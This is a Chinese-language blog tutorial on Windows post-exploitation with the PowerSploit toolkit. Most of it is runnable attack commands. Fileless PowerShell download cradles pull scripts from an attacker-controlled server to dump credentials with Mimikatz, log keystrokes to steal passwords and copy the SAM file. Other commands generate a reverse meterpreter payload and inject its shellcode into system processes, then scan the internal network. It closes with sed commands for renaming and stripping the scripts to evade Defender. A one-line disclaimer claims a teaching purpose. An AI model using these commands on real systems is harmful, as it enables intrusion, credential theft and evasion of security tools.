后渗透-PowerSploit

后渗透-PowerSploit
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚


PowerSploit

PowerSploit是PowerShell脚本的集合,集成了很多渗透测试能用到的脚本,是针对win系统进行后渗透的利器。
https://github.com/PowerShellMafia/PowerSploit

这个工具下载完就是一些文件夹分类的ps脚本,每个文件夹对应不同功能模块
后渗透-PowerSploit
使用方法就是将脚本文件放在web服务器上,通过PowerShell的远程加载实现文件不落地执行

Exfiltration

这个模块主要是信息搜集,有啥用呢?
可以获取hash、截屏、键盘记录等等

Invoke-mimikatz
猕猴桃获取hash神器,通过powershell调用mimikatz
PS C: > iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1')
然后使用mimikatz获取hash即可(管理员权限
PS C: > Invole-mimikatz -command sekurlsa::logonpassword #会被win10阻拦PS C: > Invole-mimikatz -command lsadump::asm           #从sam文件中获取

Get-Keystrokes
无敌的键盘记录器 ,记录按键、时间和活动窗口 ,主要是窃取账户密码用
PS C: > iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1')PS C: > Get-Keystrokes -LogPath C:\123.txt
后渗透-PowerSploit

Invoke-NinjaCopy
复制一些系统无法复制的文件,如sam文件( 管理员权限 )
PS C: > iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1')PS C: > Invoke-NinjaCopy -Path c:\windows\system\config\sam -LocalDestination C:\windows\temp\sam

Get-TimedScreenshot
截屏并保存在指定文件夹下
PS C: > Get-TimedScreenshot -Path c:\windows\temp\ -Interval 10 -EndTime 12:00

CodeExecution模块

这个模块就是用来执行各种代码的,注入shellcode,注入dll等等。

Invoke-Shellcode
1.常用的是调用Invoke-Shellcode模块将shellcode注入到本地powershell当中执行。
首先生成shellcode,CS和msf的都可以
msfvenom -p windows/x64/meterpreter/reverse_http Lhost=192.168.10.1 LPort=8000  -f powershell
powershell接收的shellcode格式是0x00
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,0xd2,0x56,0x65......
后渗透-PowerSploit
然后用模块加载shellcode,-Force参数会默认执行载荷
PS C:> IEX(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1')PS C:> get-help Invoke-ShellcodePS C:> Invoke-ShellCode -Force -Shellcode 0xfc,0x84....
后渗透-PowerSploit
或者将shellcode放在服务器上
PS C:> IEX(New-Object net.webclient).Downloadstring("http://192.168.10.1/123.txt")PS C:> Invole-ShellCode -Force -Shellcode $buf
后渗透-PowerSploit
都可以与msf建立连接,但是ps窗口关闭,连接就会断。

2.调用Invoke-Shellcode模块将shellcode注入到进程当中

因为进程关闭,连接也会停止,所以最好注入到系统进程中去
首先查看注入的进程 ,记录PID
C:> taklistPS C:> ps -Name lsm
后渗透-PowerSploit
注入到该进程,不成功就尝试别的进程。
PS C:> Invole-ShellCode -Shellcode -Force $buf -ProcessID 496
后渗透-PowerSploit
可以开启一个隐藏进程进行注入
PS C:> start-process C:\windows\system32\notepad.exe -WindowStyle HiddenPS C:> Get-Process Notepad

Invoke-Dllinjection
顾名思义注入dll,但这个就需要将dll文件上传到目标机了,文件落地比较危险。
先加载该模块
PS C:>  IEX(New-Object net.webclient).Downloadstring('http://192.168.10.1/ps/Exfiltration/Invoke-Mimikatz.ps1')
将dll文件上传主机后,进行注入到程序
PS C:>  Invoke-DllInjection -Dll ./test.dll -ProcessId 8787

Privesc模块

提权模块,常用的就是使用Get-System提升管理员权限

PowerUP
用来寻找目标主机windows服务漏洞进行提权的使用脚本
PS C:>  IEX(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Privesc/PowerUp.ps1')
这个脚本很多命令可以用啊
Invoke-AllChecks #自动执行PowerUp下所有的脚本来检查目标主机 Find-PathDllHijack #检查当前%PATH%的哪些目录是用户可以写入的Get-ApplicationHost #利用系统上的application.config文件恢复加密过的应用池和虚拟目录的密码Get-RegistryAlwaysInstallElevated #检测AlwaysInstallElevated注册表是否被设置,如果被设置,意味着MSI文件是以SYSTEM权限运行的Get-RegistryAutoLogon #检测windows注册表的AutoAdminLogon项有没有被设置,可查询被设置默认的用户名密码Get-ServiceDetail  –ServiceName DHCP#返回某服务的信息Get-ServiceFilePermission #检测当前用户能够在哪些服务的目录写入相关的可执行文件(可以通过这些文件提权)Test-ServiceDaclPermission #检测所有可用的服务,并尝试对这些打开的服务进行修改(若可修改,返回服务对象)Get-UnattendedInstallFile #检查以下路径,查找是否存在这些文件(文件中可能包含部署凭据)Get-ServiceUnquoted #用于检查服务路径,返回包含空格但不带引号的服务路径Get-ModifiableRegistryAutoRun #检查开机自启动的应用程序路径和注册表键值,返回当前用户可修改的程序路径Get-ModifiableScheduledTaskFile #返回当前用户能够修改的计划任务程序的名称和路径Get-Webconfig #返回当前服务器上web.config文件中的数据库连接字符串的明文


Reacon模块

这个模块就是用来扫内网的,通过该主机为跳板机探测内网主机、端口服务等

Invoke_Portscan
就是用来扫描内网端口
一样的步骤,先调用模块
PS C:> IEX(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Recon/Invoke-Portscan.ps1')
然后利用Invoke-Portscan扫就行了
PS C:> Invoke-Portscan -Host 192.168.10.6 -ports "1-1000"
后渗透-PowerSploit
扫到一个80端口
后渗透-PowerSploit

Invoke-ReverseDnsLookup
反向DNS查询,扫描内网主机的ip对应的主机名
在内网或域内,每个IP都对应一个主机名
PS C:> Invoke-ReverseDnsLookup 192.168.10.0/24
后渗透-PowerSploit

Get-HttpStatus
扫描内网站点的web目录,需要一个字典哦
PS C:> Get-HttpStatus -Target 192.168.10.6 -Path C:\dict.txt

Get-ComputerDetails
获得登录信息

提示


powershell命令是可以在cmd直接运行的
powershell -com iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/123.txt')
如果我们调用模块必须进入powershell命令行,这样才能使用我们调用的模块
C: > powershellPS C: >

免杀的话Win10的Defender已经标记PowerSploit恶意脚本
后渗透-PowerSploit
免杀思路有几点:
更改ps脚本文件名
Invoke-Mimikatz.ps1改为psyyds.ps1
删除一些空格和注释
sed -i -e '/<#>/c\\' Invoke-Mimikatz.ps1sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
更改函数名
sed -i -e 's/Invoke-Mimikatz/Invoke-miansha/g' Invoke-Mimikatz.ps1sed -i -e 's/DumpCreds/DumpCredd/g' Invoke-Mimikatz.ps1
然后尝试加载还查杀不


版权归原作者所有,如若转载,请注明出处:https://www.ciocso.com/article/760.html

发表评论

登录后才能评论
跳至工具栏